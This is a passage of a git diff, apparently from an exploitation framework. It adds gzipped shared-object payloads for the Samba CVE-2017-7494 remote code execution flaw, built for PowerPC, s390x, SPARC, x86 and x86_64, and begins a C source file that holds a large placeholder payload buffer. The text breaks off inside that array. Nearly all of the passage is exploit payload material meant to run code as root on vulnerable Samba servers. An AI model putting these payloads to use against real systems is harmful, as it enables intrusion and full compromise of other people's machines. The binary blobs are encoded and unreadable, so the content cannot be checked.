z$V$C+iLWdgCGI2-4j72Z=Qu$^4yQ8kr33Lf@@-G0_Z%TUqK$m&P2hoK*A2~%F&GY8 z*!mU_J$2ojD5)+hVx-tfppt<$ESkNb?S(4eB;}xkLL{O-Rik~&w+Dy!S%lYdWnJhu z#KUyj-MlbwNGJXN8%7Zh?cj(Wojc@k_6)jERWDkBx`HO&Hd>Bcju>o`ppR52|NQoz I>5=dL2_piy4FCWD literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc64le.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc64le.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..a34e651e31ff902e349124e2195307e5abe7e20e GIT binary patch literal 3154 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 SlED`pQ)Fqqi@N#Cq5lFz31F`P literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-s390x.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-s390x.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..e312c0875c647ce1241ccf4472256eb29c640b3e GIT binary patch literal 2818 zcmV+d3;pyTiwFn`_bFKd19M?*Vqqv+5+!sBGWt&hE{w=M1Xy zPo;gQ-M905^Jd<>`M7t|zWY{tPlwIMA)N})a<~(~ahIUYDr@N_r6%Nn`=e+DsauE^ zC8yKKc|`Pz)N;jMm9IAO4W!=c6Us2DCgxiEf_&Cxm&w+EzKy*a(I z0Gp$gCXV%<$l3YO#DiX6uD^VK;U$-hG(#I*B(@JuJ+iena{7Qj(+Lct{c7I z=oW`!q4~dLz%?^evcG*xlu z&;NY2yZg$61_2$Es82-`6x_FlU45mCjsK#GjdOYG|2j|opXI?{=Gpi}p8CE#{Wj&n zuk-4B0Ck?G@Y{etLU7tYQ_ydj`dF&f_rUdB4lj9uxB$=9->7!z_W3Hd|Cd*(bBx!m zhr*MUx}7f4{(2q>!f+%O6%vv!E(rn>LeY?fgdt!^=y=$TMBj1(=k0iqiY4f@@Qn7a`PV!$W) zz>>j4LLC`E(E#e~>27TkHn}$ukJ$7}d&0YA;Rm71+M!e)3RRK1ALLx?(#{{JvFz$4 zbxVy)#>`;-k;rjDV4 z^6B&~n6f(M{!ylRjz@NA;VQB_<{b{uZUSwr_nm8wtcNcKZK&axb0GXtBuCX29dqS8 zJUP*_^t>#~x3DdW{2)_)9mLg&{As5A4|q>2^8HNtS&(-r@;;{gHINS|@(!l_6v#&v z`F5uKyCDCOHip`(X_&9tw_9AiW9ofR)$B^-ta$DMtOe)V*=m^IG4S_V@XCFMBMmE| z_MD=1cIth;YNis_Y3WQo`YLix6{Gr@&9EOzXPZzt8dF-Rf)*TTOwoH)Z3ENH>)BrL z{WzdM&Sd2Q`M@bOj#3iZj@vHFC|28G4vR0q8Y}x(`W9HdJv|9ab~=3(?(gB&YoDDe zK{sapj%`TYkmcD`=#gl@@<@&WMrdBx6(TU}Z3R4N45KC~v)jU1_M>-p3Mm_Lx;|1jg4oB%Bz?)Frz zEQ4i5DX=LukDgFb#fx671$$#N_;qdSaao>egI(tY#0$uZ48Ink#*7ONlE!N?k6fsQ zuS6}b$585PvP^2(Q}gl%Z{q#!QCo)lB+MkX;}Te0RaFVSFH=xE-hY5cF+Q~n_T)BH z0?&^rXaZY^QH*4oe^rO~=HzYci)#q?uK448cCY3y%^&xNwDyQ5_Tu@;yI2#?M9D>1 zbF1XBnVZ?5ri<51$#2T1Ggoik1<&(Pw9hV=@5y6i7H-ZJE3=@j&xe|)h38P|epn;e z#*=Wqn9dunrr>dWF5oj3YT($i0cN)WxI|($#2xNK+-Lqb2!u1sN zcTR~TI%usl*4nQqy8k6sTMAWiGPJVydt4W#s z?y@zJvKH@rLbw)JR8zl+aNL2Y2vGSgKsbqyl^6!o3PU$KUbvU~y-Dkr(EY_=QTa^UPpo@3xnjyA^h_b%0B}Xj^Cpv>%>X-`^!B3IiKsdl-`eT z zZ2T}gf0Fw)JCBh&&d%H9Udhvbo;*+P96R5VyOgK?U)g!2+=tA(O2mE4&i~{-W#@C+ z9PEB=E7;?*eIXCt&dx8jeVv&v>W@naDLFLc_9H=P>)+ic^mISjk2669uc5S~O)unf zLIo)z_;K!M0{LT+k+3L<0e53#<7O0)VsRl97{#S6$nOh>1wjbJgyC>(&=(f4I3f6w zqpD~q?u&>*AQ_1q(#&Yz8u9vVC>hppo{d$v1TIfccLAo&!6vJVEEFdc5 z^U@6m5-}m@iw1Dcs(0V6mYv;gfOhWMBeZvsUc0<~0QK)|)08@UcDJ_l2)jEvo^0LeA@t?-Ie~>+JDCu>TBQA`uBCiBKDu4 z^liqtW5NGzu=Gze^pBY0_ZJtj{|u#HV2p#c|KmXXBKkjP=##jzBKQ#clMHYK}FsfAWxjOVofOHuw8#m>;jcKvo?|1PuHNAmQK`R^I}q&`ph`szjOe~T&?7~`R> zrys(9?@;}FjMa4ghCJsF=9Q+sO;K}_Jp5&m^NXX-BNJ`CO11_5e}m7#RnOS}CHedR U3h|rmoB8_xFX%Loz|cnk0N7#8^8f$< literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-sparc.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-sparc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..ef386f0566468d7bfacd65d49c7041eb1e63ff95 GIT binary patch literal 2618 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 V%1v$VTRA?3W-QaMV^S;82}5h3D{ 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 UgRpC$hn$luHT$|}U5*|5FTe(eApigX literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-x86.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-x86.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..95b052da8ff6a51807decea7ce4bf349887ec1b1 GIT binary patch literal 2630 zcmV-M3c2+kiwFn^_bFKd19M?*Vqq14b+_Ac!1EW5MFMowe0B8u6N z5`I-x)KJk#sq&*pNtK511F{YZQKV3+rt~Q!O1lPEI4Y&60=DPeduMlMFj0T>PpdiB z*>lg_bI&>VF>~)o^Z9vyUzZ>V#2^>^q4sPEA9;gt1Y- z3+l-tRLa7WL8v$9=N32_Jv8kV#M#zzyart(4*<9Oe?5Ql^3kauzj2|d^`TAQxw!Y+4euTPyz1(&u2+59 z+xwb5zXns;3;d=@M}LDReI4*SwtB(V{(W2hahv{qlaAx^Gh4l4^S9Ne{{cAOZM0uO zu7lJIdL20pat+MS8tSitJO}a!4Av`Lzieq=M{_vlHsY6qM_7MlhF(chxGo`Z&3ZzX zVXZ8WN41!o)RlxT%R~;x!a9-1KoGfixL*#c33WW2)YZgre@8@%sl&=>L}hi0*T{hh z1sy1n@P1IY?~@0)T}MPoCeRo{kzC;Ojg(v)F2|LAgI}u&hbw7o zzL@a-@L*vrldWDRbD)=k%{)rD85U5&1KUG1KB566Ou_Ugi|m#P4#*B89S0czCdNBp)oslr1+PsgF!p+L1q;phY!VJAs>Dr3BMaY zO5ZBoSC@Gq$GTTJGIJ$8U%M-RK0RA=?(f-|n}<)W$4=yagJbc*x1jxq;Q)VUt_*GX z=*%rKJ@1~$p1HPGxcJLkdTr+DZS;3RUjoB8uq%H7yk(xbeXi&a;tb`U1fv7lf3Ac9 zop(>akN!w%eI`B6l3A9XugJgMiqRi}E8rvd2*|T(G!(4_|{++daQ96XmQ zpX-F;Vf|r}IeLp_^f%VS0h-gfxkfatZOmdma5*=77gGv?o7@Z(A^qJ1{?_d-3*qg* zo8(6E@~n5pzmR@zA)hMy1%|)YlNnjaq;G(?_s|advuj{5ck>QSJL6xN@!!bx+{JFC z>NEZu`SZD}cbNO~f!uXwMm^DPv25Hqd>WQ~28&`QoBJI#azFh{Hsfy0()C$KlYO_I zFGyjvYg-fFN2b8K6Xau%5w60ILB5RR1o8ymXXu@}e~<`M9$|Hb+x?Qjp0Bv_e9(Rx z4XQj{RTbN-m+I~b^2DlbU)|ie4sCE&K7sJ~OeJkqo`Yh0Wl3k+CBFD!7FxVZ>{a+wm|AjHY_iuy#0`YIU**Sg%@Wa3@z+ENxZ;$T- zUpU5XPxb9=>vR^ILk>CQkV6hRCQkV6hRCQkVF5|)ZNkXsJCfkG!@fR-bbWn$+xj3MYT=e+tecYnx*Cq?7DZeZ&Qn}#rMrc z{nT=Nj*A0zwia}T{Fy4~>?^@jqM@@d{Li`!oqgQ5P|(>2kzTiz94`UJs~Ysj%8K=05sKq4!1zl-aefKRZ<|mYUu@qm6z4;L`3RUg zfR~>)>6q=Sf)#i81Hpk|GlmLnqb8#-m%qJibWk)KdD^8LG5_(ckjg3hGBFo!52Iaoqp4`}) zmQbRq985){lhDMZF<_+Gl;RvWA~JGgGNeW#0WGM~e7gqQ`u(zhM<*gUY4%2WVrz>u zuIh3;AnT!2Y>zZLvDnohUJWKSIi$pb6vTOti2^2_Pwi;y@9luDDMs=XckH|93be9MWC}P!SE3Y?w2Sm z?EiS*$338ou@gKjcqMc68IL zVe8LschO{rXOLE~^R2h;mq>r&@m>6E72jg*hcShhdD+Kxv}?B6AultnU3y-9oX~TT o-JdaM2K{6UTl;wbf8BInmfQTzZi6$2c(1>I1A%6OX`n*@0CM~(FaQ7m literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-x86_64.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-x86_64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..f256276c7c593bb097f7c6e225f2518b8bfd41c2 GIT binary patch literal 2576 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode.c b/data/exploits/CVE-2017-7494/samba-root-shellcode.c new file mode 100644 index 0000000000..3d8145935d --- /dev/null +++ b/data/exploits/CVE-2017-7494/samba-root-shellcode.c @@ -0,0 +1,35 @@ +#include +#include +#include +#include +#include +#include + +#define PAYLOAD_SIZE 10000 +unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,